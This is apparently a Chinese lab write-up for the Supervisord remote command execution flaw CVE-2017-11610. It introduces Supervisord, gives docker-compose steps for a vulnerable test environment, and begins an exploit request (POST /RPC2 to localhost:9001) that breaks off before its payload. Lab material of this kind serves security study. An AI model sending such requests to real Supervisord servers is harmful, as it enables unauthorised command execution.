Supervisord 远程命令执行漏洞(CVE-2017-11610)
Supervisord是一款Python开发,用于管理后台应用(服务)的工具,其角色类似于Linux自带的Systemd。
它相比Systemd有几个特点:
配置比较简单
一个简单的第三方应用,与系统没有耦合
提供HTTP API,支持远程操作
Supervisord的架构分为Server和Client,Server以一个服务的形式,跑在系统后台,而Client是一个命令行工具,其实就是根据用户的要求,调用Server提供的API,执行一些工作。
运行环境
docker-compose build
出现下列才算成功
Successfully built ea413f911658
Successfully tagged cve-2017-11610_web:latest
docker-compose up -d
环境启动后,访问http://your-ip:9001
即可查看Supervisord的页面。
http://127.0.0.1:9001/
漏洞测试
进行修改直接执行任意命令:
POST /RPC2 HTTP/1.1
Host: 127.0.0.1:9001
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.